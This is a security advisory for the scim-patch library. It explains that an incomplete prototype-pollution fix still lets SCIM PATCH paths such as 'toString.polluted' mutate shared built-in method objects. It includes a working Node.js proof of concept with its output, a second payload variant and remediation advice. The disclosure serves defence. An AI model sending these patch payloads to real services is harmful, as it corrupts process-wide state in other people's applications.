scim-patch: Mutation of Inherited Built-in Method Objects

Summary

Incomplete Prototype Pollution Fix Allows Mutation of Inherited Built-in Method Objects

scim-patch blocks direct dangerous path segments such as __proto__, constructor, and prototype, but still traverses inherited properties when applying SCIM patch paths.

An attacker who controls a SCIM PATCH operation can use paths such as toString.polluted to mutate shared built-in function objects, for example Object.prototype.toString.

Impact

A malicious patch can add attacker-controlled properties to inherited built-in method objects. The impact is narrower than direct Object.prototype pollution, but the mutation is process-global and may affect application logic that reads properties from inherited methods.

Details

Affected code paths:

• navigate() reads inherited properties via schema[subPath]
• assign() uses key in obj, which treats inherited properties as existing

Because inherited keys are followed, safe-looking path segments such as toString can resolve to shared built-in objects.

PoC

const assert = require("node:assert/strict");
const { scimPatch } = require("./lib/src/scimPatch");

const victim = {
  schemas: ["urn:ietf:params:scim:schemas:core:2.0:User"],
  userName: "alice",
  active: true,
  emails: [{ value: "alice@example.com", primary: true }],
  meta: { created: "x", lastModified: "x", resourceType: "User" }
};

try {
  assert.equal(({}).toString.scimPatchPolluted, undefined);

  scimPatch(victim, [
    { op: "add", path: "toString.scimPatchPolluted", value: "polluted" }
  ]);

  assert.equal(({}).toString.scimPatchPolluted, "polluted");
  console.log(({}).toString.scimPatchPolluted);
} finally {
  delete Object.prototype.toString.scimPatchPolluted;
}

Output:

polluted

A no-path operation with a dotted value key is also affected:

scimPatch(victim, [
  { op: "add", value: { "toString.noPathPolluted": "polluted" } }
]);

Remediation

Do not traverse inherited properties while resolving patch paths. Use own-property checks such as Object.hasOwn(obj, key) and create missing containers only for safe own keys.

Keep the existing denylist for __proto__, constructor, and prototype as defense in depth.